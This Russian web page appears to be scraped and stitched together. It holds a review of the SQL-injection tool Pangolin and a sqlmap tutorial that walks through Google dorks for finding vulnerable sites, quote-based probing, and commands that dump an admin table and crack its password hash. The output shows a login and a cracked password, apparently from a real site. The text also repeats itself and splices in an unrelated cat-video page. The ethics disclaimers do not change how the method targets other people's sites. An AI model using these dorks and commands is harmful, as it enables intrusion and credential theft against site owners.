Программа для sql инъекций


Pangolin: SQL-инъекции теперь не утомляют

Нет-нет, pangolin – это не название препарата =) На самом деле это новый интрумент для быстрой и эффективной эксплуатации SQL-инъекций, разработанный китайскими хакерами, и переводится как “ящер”. По заявлению главного разработчика, это самая лучшая программа среди подобных; возможно это так и есть, ведь в Китае pangolin является самым популярным интрументом для работы со SQL-инъекциями. Признаться, ни за что бы не скачал эту программу, заявленной как “The best SQL-injector you’ve ever seen”, если бы не встретил восторженных комментариев на одном из зарубежных форумов, посвященных веб-безопасности. Мнения пользователей меня заинтриговали, и я решил проверить что из себя представляет этот чудо-зверь.

Pangolin выполнен в виде GUI-приложения, работающего в Windows. Благодаря продуманному и в то же время простому интерфейсу, пользователь без труда разберется во всех ее особенностях. На мой взгляд, это довольно существенный плюс, так как перегруженный интерфейс, например как у SQL Injection Pentesting Tool, препятствует не только быстрому обучению, но и последующему комфортному использованию программы. Итак, в главном окне программы видим всего несколько полей для ввода данных: URL, метод отправки запросов (GET или POST), тип данных уязвимого параметра, тип базы данных и слово для сравнения правильных и неправильных запросов. Особенность программы заключается в том, что обязательным для заполнения является только URL и метод (обычно GET), остальное программа способна определить сама. Правда также желательно указывать тип БД, так как при слепых инъекциях, Pangolin может ошибиться. Количество поддерживаемых типов БД впечатляет: MySQL, MSSQL, Oracle, Sybase, DB2, Access, Informix, PostgreSQL, SQLite. Рассмотрим пример работы со SQL-инъекцией в MySQL.

Прежде всего указываем URL с инъекцией на каком-нибудь сайте или на собственном локальном сервере и нажимаем Check. После того, как программа завершит предварительное исследование инъекции, появятся вкладки для последующего получения информации. Во вкладке Informations (ох уж эти китайцы, английского они совсем не знают), мы можем выяснить стандартные параметры, такие как имя текущего пользователя, текущей БД и версию MySQL. Кроме того, программа позволяет узнать включена ли опция PHP magic_quotes_gpc, а также, при доступе к БД mysql, – всех пользователей и базы данных. Отмечаем все поля, которые нам необходимо узнать, и нажимаем Go. Стоит отметить, что программа работает очень быстро, поэтому уже через несколько секунд мы можем видеть нужную для нас информацию.

Но этого мало, переходим к следующей вкладке – Datas. Здесь мы можем выяснить названия таблиц, их поля и содержимое. В случае с MySQL5 добыть эту информацию для программы не составит труда, а вот в остальных случаях поможет только брут. К сожалению, в архиве с Pangolin имеются довольно слабые словари для брута, но нам ничего не мешает заменить их своими. Если у вас их еще нет, то вот мои:Стандартные таблицыТаблицы, изпользуемые в популярных CMS и форумахПоляТакже может пригодится вот этот сервис.

Определив таблицы и их поля, можно приступать к извлечению содержимого. Все производится без особых проблем; теперь мы можем сохранить добытую информацию.

Если вам повезло и текущий пользователь является root’ом, то переходим к следующей вкладке – FileReader. Здесь все просто: указываем файл и при наличии file_priv, видим его содержимое.

К сожалению, со слепыми инъекциями Pangolin не так хорош; по крайней мере мне не удалось заставить его даже определить версию БД – все что мы видим это следующая фраза в логе:

Oh, my. The target even not supports “UNION” keyword, it’s unbelievable!!!

Для остальных типов БД также можно получить множество полезной информации, причем некоторые возможности программы могут даже побудить взять снифер и проверить какие запросы она отправляет. Например с MSSQL-инъекциями программа может сделать следующее: просмотр стандартной информации; работа с таблицами и полями; выполнение команд; редактор реестра; чтение,запись, скачивание файлов; просмотр директорий.

В настройках программы можно указать прокси, дополнительные HTTP-заголовки, различные методы обхода фильтров и многое другое. Одним словом, программа заслуживает внимания.

Скачать

raz0r.name

взлом веб-сайтов и баз данных через SQL-инъекции

Проект codebyOS

Требуются разработчики и тестеры для проекта codebyOS. Требования для участия в проекте: Знание принципов работы ОС на базе Linux; Знание Bash; Крайне желательное знание CPP, Python, Lua; Навыки системного администрирования. Подробнее ...

Если вы являетесь пользователем Windows, то обратитесь к статье «Как запустить sqlmap на Windows«. А если вы обнаружили уязвимости в ваших скриптах, то обратитесь к статье «Защита сайта от взлома: предотвращение SQL-инъекций«.

Каждый раз, рассказывая об очередной программе, присутствующей в Kali Linux, я задумываюсь, какие последствия это может вызвать? Эта статья была готова уже давно, но я всё как-то не решался опубликовать её. На самом деле, те, кто взламывают чужие сайты, уже давно и сами знают как пользоваться этой и многими другими программами. Зато среди (начинающих) программистов встречается огромное количество тех, кто вообще будто бы не задумывается о безопасности своих веб-приложений. Я прекрасно понимаю эту ситуацию, когда ты изучаешь PHP, то большим достижением и облегчением является то, что твоя программа вообще работает! Времени всегда не хватает и в этих условиях изучать теорию защиты веб-приложений кажется просто неразумным расточительством.

В этой статье я рассказываю о программе SQLMAP, которая поможет проверить ваши скрипты на уязвимость к SQL-инъекциям.

В общем, я надеюсь, что знания, полученные в этой статье, будут использоваться этично и с пользой для всех.

SQL-инъекция — это техника внедрения кода, используемая для атаки на приложение, управляющее данными, в которой (в технике) вредоносные SQL запросы вставляются в поле ввода для исполнения (например, для получения атакующим содержания дампа базы данных). SQL-инъекция должна эксплуатировать уязвимость в безопасности программ, например, когда пользовательский ввод некорректно фильтруется на наличие различных специфичных символов, включённых в SQL запросы, или когда пользовательский ввод не типизирован строго и выполняется неожиданным образом. SQL-инъекция — это самый широко известный вектор атаки не веб-сайты, но она может быть использована для атаки на любые типы SQL базы данных. В этой инструкции я покажу вам как с помощью программы SQLMAP эксплуатировать SQL-инъекции на Kali Linux и, в конечном итоге, хакнуть веб-сайт (точнее говоря, базу данных) и извлечь имена пользователей и пароли на Kali Linux.

На всякий случай: Если у вас еще нет Kali Linux, то о том где скачать и как установить читайте в статье «Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину» — это одна из популярнейших статей на портале. А всевозможные мануалы, инструкции использования ищите на сайте codeby.net по тэгу Kali Linux.

Что такое SQLMAP

sqlmap это инструмент с открытым кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатирования уязвимостей для SQL-инъекций и захвата серверов баз данных. Он поставляется с мощным движком анализа, большим количеством специфичных функций для максимального тестирования на проникновения и широким спектром возможностей простирающихся от выявления типа баз данных по «отпечаткам», охватывает получение информации из базы данных и вплоть до доступа к файловой системе и выполнения команд на ОС через нестандартный доступ к системе.

Особенности

  • Полная поддержка систем управления базами данных MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase и SAP MaxDB.
  • Полная поддержка шести техник SQL-инъекции: слепая на логической основе, основанная на времени слепая, основанная на ошибках, UNION запрос, сложные запросы и нестандартный доступ.
  • Поддержка прямого соединения к базе данных без прохода через SQL-инъекцию путём предоставления полномочий СУБД, IP адреса, порта и имени базы данных.
  • Поддержка перебора пользователей, хешей паролей, привилегий, ролей, баз данных, таблиц и колонок.
  • Автоматическое распознавание формата хеша пароля и поддержка их взлома используя основанную на словаре атаку.
  • Поддержка, по выбору пользователя, создания дампа всех таблиц, определённого их диапазона или специфичных колонок.
  • Пользователь также может выбрать создание дампа только диапазона символов каждого вхождения колонки.
  • Поддержка поиска специфичных имён баз данных, специфичных таблиц по полным базам данных или по отдельным колонкам всех таблиц баз данных. Это полезно, например, для идентификации таблиц, содержащих учётные данные приложения, где соответствующие имена колонок содержат строки вроде name и pass (имя и пароль).
  • Поддержка загрузки и выгрузки любого файл с (на) файловую системы сервера базы данных, когда используются такие программы баз данных как MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка выполнения произвольных команд и получение их стандартного вывода на операционной системе, под которой запущен сервер базы данных, когда используются такие программы баз данных как MySQL, PostgreSQL и Microsoft SQL Server.
  • Поддержка установки нестандартного соединения (out-of-band) TCP между атакующей машиной и операционной системой на которой работает база данных. Этим каналом могут быть интеративные командные запросы, сессия Meterpreter или сессия графического пользовательского интерфейса (VNC) — по выбору пользователя.
  • Поддержка процесса повышения прав пользователя через команды Metasploit передаваемые Meterpreter.

Пожалуйста, всегда держите в голове мысль о пользователе, который тратит своё время и усилия на поддержание веб-сайта и, возможно, жизненно зависит от него. Ваши действия могут повлиять на кого-то так, как вы этого никогда не желали. Я не знаю, как ещё доходчивее объяснить это вам.

Собственно, приступим:

Шаг 1: Ищем уязвимый веб-сайт

Это, как правило, самое творческое действие и занимает больше времени, чем другие шаги. Те, кто знает как использовать Google Dorks уже понимают, что нужно делать. Но в том случае, если вы не знаете, то я собрал вместе ряд строк, которые вы можете искать в Гугл. Просто скопируйте-вставьте любую из этих строк в Гугл, и Гугл покажет вам то, что сумел найти.

Шаг 1.а: Строки Google Dorks для поиска уязвимых к SQLMAP SQL веб-сайтов

Этот список действительно большой. У меня заняло много времени для его сбора. Если вы понимаете принцип отбора, тогда вы можете дополнить его. Оставляйте ваши дополнения к списку в комментариях, я добавлю их сюда.

Google Dork string Column 1 Google Dork string Column 2 Google Dork string Column 3
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id=
inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id=
inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id=
inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id=
inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
inurl:news.php?id= inurl:participant.php?id=
inurl:avd_start.php?avd= inurl:download.php?id=
inurl:event.php?id= inurl:main.php?id=
inurl:product-item.php?id= inurl:review.php?id=
inurl:sql.php?id= inurl:chappies.php?id=
inurl:material.php?id= inurl:read.php?id=
inurl:clanek.php4?id= inurl:prod_detail.php?id=
inurl:announce.php?id= inurl:viewphoto.php?id=
inurl:chappies.php?id= inurl:article.php?id=
inurl:read.php?id= inurl:person.php?id=
inurl:viewapp.php?id= inurl:productinfo.php?id=
inurl:viewphoto.php?id= inurl:showimg.php?id=
inurl:rub.php?idr= inurl:view.php?id=
inurl:galeri_info.php?l= inurl:website.php?id=

Шаг 1.б: Начальная проверка для подтверждения, уязвим ли веб-сайт к SQLMAP SQL-инъекции

Для каждой строки, которые приведены выше, вы найдёте сотни поисковых результатов. Как узнать, которые из них действительно уязвимы к SQLMAP SQL-инъекции. Есть множество способов и я уверен, что люди будут спорить, какой из них лучший, но для меня следующий является самым простым и наиболее убедительным.

Получи 25.000 рублей от codeby

Мы запустили конкурс для авторов, в котором может принять участие любой желающий. За первое место - 5000 руб., второе - 2500, третье 1500. Главный приз 25.000 рублей вы получаете независимо от места в конкурсе. Подробнее на форуме codeby ...

Допустим вы ищите, используя эту строку inurl:rubrika.php?idr=, и один из веб-сайтов в результатах поиска вроде этого:

http://www.sqldummywebsite.name/rubrika.php?id=28

http://www.sqldummywebsite.name/rubrika.php?id=28

Просто добавьте одиночную кавычку ‘ в конец URL. (Просто для уверенности » — это двойная кавычка, а ‘ — это одиночная кавычка).

Следовательно сейчас адрес будет примерно таким:

http://www.sqldummywebsite.name/rubrika.php?id=28'

http://www.sqldummywebsite.name/rubrika.php?id=28'

Если страница вернёт SQL ошибку, значит страница уязвима для SQLMAP SQL-инъекции. Если она загружается или перенаправляет вас на другую страницу, переходите к следующей странице в результатах поиска Гугл.

Посмотрите на скриншот ниже.

Примеры ошибок SQLi от различных баз данных и языков

Microsoft SQL Server

Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’ Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.

Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’

Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.

MySQL ошибки

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12 Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12

Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12

Oracle ошибки

java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208) Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated

java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)

Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated

PostgreSQL Errors

Query failed: ERROR: unterminated quoted string at or near “‘’’”

Query failed: ERROR: unterminated quoted string at or near “‘’’”

Шаг 2: Строим список баз данных СУБД используя SQLMAP SQL-инъекцию

Как вы могли увидеть по вышеприведённому скриншоту, я нашёл уязвимый веб-сайт к SQLMAP SQL-инъекции. Сейчас мне нужно построить список всех баз данных уязвимой СУБД (это ещё называется перечислением баз данных СУБД). Так как я использую SQLMAP, то она также скажет мне, какая переменная является уязвимой.

Запустим следующую команду в отношении вашего уязвимого веб-сайта.

sqlmap -u http://www.sqldummywebsite.name/rubrika.php?id=31 --dbs

sqlmap -u http://www.sqldummywebsite.name/rubrika.php?id=31 --dbs

Здесь:

sqlmap = Имя бинарного файла программы sqlmap

-u = Целевой адрес (например. “http://www.sqldummywebsite.name/rubrika.php?id=31″)

—dbs = Перечислить базы данных СУБД

Скриншот ниже

Эта команда раскрыла совсем немного интересной информации:

web server operating system: Linux Gentoo web application technology: Nginx, PHP 5.3.29 back-end DBMS: MySQL 5.0.11 [18:47:01] [INFO] resumed: information_schema [18:47:01] [INFO] resumed: laminat

web server operating system: Linux Gentoo

web application technology: Nginx, PHP 5.3.29

back-end DBMS: MySQL 5.0.11

[18:47:01] [INFO] resumed: information_schema

[18:47:01] [INFO] resumed: laminat

Итак, сейчас у нас есть всего лишь одна база данных, в которую стоит заглянуть, information_schema — это стандартная база данных для почти каждой СУБД MYSQL. Следовательно, направим свой интерес на базу данных laminat.

Шаг 3. Построение списка таблиц целевой базы данных, используя SQLMAP SQL-инъекцию

Нам нужно знать как много таблицы имеются в СУБД этого веб-сайта и какие у них имена. Чтобы найти эту информацию выполните следующую команду:

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat --tables

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat --tables

Славненько, эта база данных имеет 18 таблиц.

[18:52:25] [INFO] fetching tables for database: 'laminat' [18:52:25] [INFO] fetching number of tables for database 'laminat' [18:52:25] [INFO] resumed: 18 [18:52:25] [INFO] resumed: admin [18:52:25] [INFO] resumed: browser [18:52:25] [INFO] resumed: diskuse [18:52:25] [INFO] resumed: diskuse_obor [18:52:25] [INFO] resumed: diskuse_tema [18:52:25] [INFO] resumed: historie [18:52:25] [INFO] resumed: mag_admvolby [18:52:25] [INFO] resumed: mag_anketa [18:52:25] [INFO] resumed: mag_autori [18:52:25] [INFO] resuming partial value: mag_cla [18:52:25] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [18:52:25] [INFO] retrieved: ori [18:54:23] [INFO] retrieved: mag_claori... …............

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

[18:52:25] [INFO] fetching tables for database: 'laminat'

[18:52:25] [INFO] fetching number of tables for database 'laminat'

[18:52:25] [INFO] resumed: 18

[18:52:25] [INFO] resumed: admin

[18:52:25] [INFO] resumed: browser

[18:52:25] [INFO] resumed: diskuse

[18:52:25] [INFO] resumed: diskuse_obor

[18:52:25] [INFO] resumed: diskuse_tema

[18:52:25] [INFO] resumed: historie

[18:52:25] [INFO] resumed: mag_admvolby

[18:52:25] [INFO] resumed: mag_anketa

[18:52:25] [INFO] resumed: mag_autori

[18:52:25] [INFO] resuming partial value: mag_cla

[18:52:25] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[18:52:25] [INFO] retrieved: ori

[18:54:23] [INFO] retrieved: mag_claori...

…............

Ну и конечно мы хотим проверить, что находится внутри admin, используя SQLMAP SQL-инъекцию, поскольку, возможно, именно она содержит имя пользователя и пароль.

Шаг 4: Построение списка столбцов целевой таблицы выбранной базы данных используя SQLMAP SQL-инъекцию

Сейчас нам нужно построить список столбцов целевой таблицы admin базы данных нашего веб-сайта, используя SQLMAP SQL-инъекцию. SQLMAP SQL-инъекция делает это действительно простым, запустите следующую команду:

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --columns

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --columns

[19:57:42] [INFO] fetching columns for table 'admin' in database 'laminat' [19:57:42] [INFO] resumed: 5 [19:57:42] [INFO] resumed: id [19:57:42] [INFO] resumed: int(2) [19:57:42] [INFO] resumed: login [19:57:42] [INFO] resumed: v [19:57:42] [INFO] resumed: heslo [19:57:42] [INFO] resumed: varchar(32) [19:57:42] [INFO] resumed: jmeno [19:57:42] [INFO] resumed: varchar(20) [19:57:42] [INFO] resumed: stupen [19:57:42] [INFO] resumed: int(1) Database: laminat Table: admin [5 columns] +--------+-------------+ | Column | Type | +--------+-------------+ | heslo | varchar(32) | | id | int(2) | | jmeno | varchar(20) | | login | v | | stupen | int(1) | +--------+-------------+

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

[19:57:42] [INFO] fetching columns for table 'admin' in database 'laminat'

[19:57:42] [INFO] resumed: 5

[19:57:42] [INFO] resumed: id

[19:57:42] [INFO] resumed: int(2)

[19:57:42] [INFO] resumed: login

[19:57:42] [INFO] resumed: v

[19:57:42] [INFO] resumed: heslo

[19:57:42] [INFO] resumed: varchar(32)

[19:57:42] [INFO] resumed: jmeno

[19:57:42] [INFO] resumed: varchar(20)

[19:57:42] [INFO] resumed: stupen

[19:57:42] [INFO] resumed: int(1)

Database: laminat

Table: admin

[5 columns]

+--------+-------------+

| Column | Type |

+--------+-------------+

| heslo | varchar(32) |

| id | int(2) |

| jmeno | varchar(20) |

| login | v |

| stupen | int(1) |

+--------+-------------+

АГА! Это точно то, что мы ищем. Если вы не поняли причин моей радости, то небольшой урок лингвистики:

«heslo» — на чешском означает «пароль»

«stupen» — на чешском означает «степень»

А «login» означает на чешском «логин».

Т.е. в этой таблице есть имя пользователя и пароль.

Шаг 5: С помощью SQLMAP SQL-инъекции построим список пользователей из целевого столбца выбранной базы данных

SQLMAP SQL-инъекция делает это простым! Просто снова выполните команду:

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --dump

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --dump

Это командой мы получим полный дамп таблицы. Но если, например, таблица большая, и эксплуатируется слепая инъекция, то, для экономии времени можно модифицировать команду:

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C login --dump

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C login --dump

Мы получим список пользователей.

Почти закончили, теперь нам нужны пароли к этим пользователям. Следующим шагом мы их получим.

Шаг 6: С помощью SQLMAP SQL-инъекции извлекаем пароли из целевого столбца таблицы выбранной базы данных

Думаю, вы уже поняли какая команда будет следующей. Что ж, приступим.

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C heslo --dump

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C heslo --dump

ТАДА!! У нас есть пароль.

Но постойте, этот пароль выглядит забавно. Это не может быть чьим-то паролем. Кто-то, кто оставил подобную уязвимость в своём веб-сайте просто не может иметь пароль вроде этого.

Именно так и есть. Это хэш пароля. Это означает, что пароль зашифрован и сейчас нам нужно расшифровать его.

На самом деле, по-большому счёту, программа sqlmap сама всё сделает за нас.

Найдя пароли, она спросит, do you want to store hashes to a temporary file for eventual further processing with other tools, т. е. хотим ли мы сохранить хэши во временный файл, чтобы в дальнейшем обрабатывать их. Это на ваше усмотрение.

Теперь программа говорит do you want to crack them via a dictionary-based attack?, что означает, хотите ли вы использовать атаку, основанную на словаре. Это сэкономит уйму времени, поэтому если вы просто учитесь, пробуете, то соглашаемся.

Нам снова даются три опции:

[1] default dictionary file ‘/usr/share/sqlmap/txt/wordlist.zip’ (press Enter) (словарь по умолчанию — просто нажмите Enter)

[2] custom dictionary file (файл пользовательского словаря)

[3] file with list of dictionary files (файл со списком пользовательских словарей)

Просто нажмите Enter.

На и, наконец, программа спрашивает do you want to use common password suffixes? (slow!). Это означает, хотим ли мы использовать обычные префиксы. Я отвечаю нет, поскольку это очень долгая процедура. А конкретно этот сайт мне интересен только как пример урока. Узнаю я от него пароль или нет — мне всё равно. Я не готов тратить много времени на эту процедуру.

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n do you want to crack them via a dictionary-based attack? [Y/n/q] y [20:00:41] [INFO] using hash method 'md5_generic_passwd' [20:00:41] [INFO] resuming password 'nuvolari' for hash '493ccdcab464cff215467d4c62a7f142' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [20:00:45] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] n [20:00:49] [INFO] starting dictionary-based cracking (md5_generic_passwd) [20:01:05] [INFO] postprocessing table dump Database: laminat Table: admin [2 entries] +----+---------------+---------------------------------------------+-------+--------+ | id | jmeno | heslo | login | stupen | +----+---------------+---------------------------------------------+-------+--------+ | 1 | M?la | 493ccdcab464cff215467d4c62a7f142 (nuvolari) | fucek | 1 | | 4 | Administr?tor | d41d8cd98f00b204e9800998ecf8427e | admin | 1 | +----+---------------+---------------------------------------------+-------+--------+

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n

do you want to crack them via a dictionary-based attack? [Y/n/q] y

[20:00:41] [INFO] using hash method 'md5_generic_passwd'

[20:00:41] [INFO] resuming password 'nuvolari' for hash '493ccdcab464cff215467d4c62a7f142'

what dictionary do you want to use?

[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files

> 1

[20:00:45] [INFO] using default dictionary

do you want to use common password suffixes? (slow!) [y/N] n

[20:00:49] [INFO] starting dictionary-based cracking (md5_generic_passwd)

[20:01:05] [INFO] postprocessing table dump

Database: laminat

Table: admin

[2 entries]

+----+---------------+---------------------------------------------+-------+--------+

| id | jmeno | heslo | login | stupen |

+----+---------------+---------------------------------------------+-------+--------+

| 1 | M?la | 493ccdcab464cff215467d4c62a7f142 (nuvolari) | fucek | 1 |

| 4 | Administr?tor | d41d8cd98f00b204e9800998ecf8427e | admin | 1 |

+----+---------------+---------------------------------------------+-------+--------+

Не смотря на выбор «быстрых» опций, пароль расшифрован!

В этот раз всё получилось быстро и непринуждённо. Иногда бывает ещё проще — пароль не зашифрован. Иногда пароль не удаётся расшифровать быстрым способом. На этот случай у меня есть одна хитрость — я копирую хэш пароля и… ищу в Гугле. Примерно в половине случаев мне везёт — находятся тематические сайты, базы данных, в которых собраны расшифрованные хэши.

Давайте представим ситуацию, когда быстро пароль не подобрался, когда поиск по Гуглу и сайтам с радужными таблицами ( https://ru.wikipedia.org/wiki/Радужная_таблица ) не увенчался успехом, и это «не учебная тревога», т. е. вас интересует конкретный сайт и для вас важно знать для него пароль, то можно попытаться воспользоваться специальным программным обеспечением.

К расшифровке паролей я ещё вернусть, это будет большая статья, охватывающая взлом MD5, phpBB, MySQL и SHA1 паролей с помощью Hashcat на Kali. Не пропустите её.

Заключение

Спасибо за чтение и посещение этого веб-сайта.

Есть много других способов проникнуть в базу данных или получить пользовательскую информацию. Вам следует использовать эти техники только на веб-сайтах, которые дали вам на этой разрешение.

Пожалуйста, поделитесь этой статьёй, это даст возможность каждому изучить как с использованием этой техники тестировать их веб-сайты.

п.с. пока писал статью, какой-то чудак «хакнул» это несчастный сайт — ничего не удалил, просто дефейснул его. Друзья, давайте учиться, пробовать, думать, изучать программы, искать обходные пути, нестандартные решения, постигать глубины сетевых технологий, заглядывать туда, куда другие не могут, но давайте не будем заниматься мелкими пакостями!

codeby.net

Funny cats and kittens videos

Funny cats and kittens videos | FunnyCat.TV

13:19

09:39

05:04

12:53

02:58

09:28

00:38

03:28

11:35

10:02

04:06

02:58

02:20

02:33

03:27

01:23

00:57

10:03

10:06

00:01

10:58

06:19

04:21

07:57

www.funnycat.tv

взлом веб-сайтов и баз данных через SQL-инъекции

Проект codebyOS

Требуются разработчики и тестеры для проекта codebyOS. Требования для участия в проекте: Знание принципов работы ОС на базе Linux; Знание Bash; Крайне желательное знание CPP, Python, Lua; Навыки системного администрирования. Подробнее ...

Если вы являетесь пользователем Windows, то обратитесь к статье «Как запустить sqlmap на Windows«. А если вы обнаружили уязвимости в ваших скриптах, то обратитесь к статье «Защита сайта от взлома: предотвращение SQL-инъекций«.

Каждый раз, рассказывая об очередной программе, присутствующей в Kali Linux, я задумываюсь, какие последствия это может вызвать? Эта статья была готова уже давно, но я всё как-то не решался опубликовать её. На самом деле, те, кто взламывают чужие сайты, уже давно и сами знают как пользоваться этой и многими другими программами. Зато среди (начинающих) программистов встречается огромное количество тех, кто вообще будто бы не задумывается о безопасности своих веб-приложений. Я прекрасно понимаю эту ситуацию, когда ты изучаешь PHP, то большим достижением и облегчением является то, что твоя программа вообще работает! Времени всегда не хватает и в этих условиях изучать теорию защиты веб-приложений кажется просто неразумным расточительством.

В этой статье я рассказываю о программе SQLMAP, которая поможет проверить ваши скрипты на уязвимость к SQL-инъекциям.

В общем, я надеюсь, что знания, полученные в этой статье, будут использоваться этично и с пользой для всех.

SQL-инъекция — это техника внедрения кода, используемая для атаки на приложение, управляющее данными, в которой (в технике) вредоносные SQL запросы вставляются в поле ввода для исполнения (например, для получения атакующим содержания дампа базы данных). SQL-инъекция должна эксплуатировать уязвимость в безопасности программ, например, когда пользовательский ввод некорректно фильтруется на наличие различных специфичных символов, включённых в SQL запросы, или когда пользовательский ввод не типизирован строго и выполняется неожиданным образом. SQL-инъекция — это самый широко известный вектор атаки не веб-сайты, но она может быть использована для атаки на любые типы SQL базы данных. В этой инструкции я покажу вам как с помощью программы SQLMAP эксплуатировать SQL-инъекции на Kali Linux и, в конечном итоге, хакнуть веб-сайт (точнее говоря, базу данных) и извлечь имена пользователей и пароли на Kali Linux.

На всякий случай: Если у вас еще нет Kali Linux, то о том где скачать и как установить читайте в статье «Как установить Kali Linux: подробная инструкция для установки на компьютер и в виртуальную машину» — это одна из популярнейших статей на портале. А всевозможные мануалы, инструкции использования ищите на сайте codeby.net по тэгу Kali Linux.

Что такое SQLMAP

sqlmap это инструмент с открытым кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатирования уязвимостей для SQL-инъекций и захвата серверов баз данных. Он поставляется с мощным движком анализа, большим количеством специфичных функций для максимального тестирования на проникновения и широким спектром возможностей простирающихся от выявления типа баз данных по «отпечаткам», охватывает получение информации из базы данных и вплоть до доступа к файловой системе и выполнения команд на ОС через нестандартный доступ к системе.

Особенности

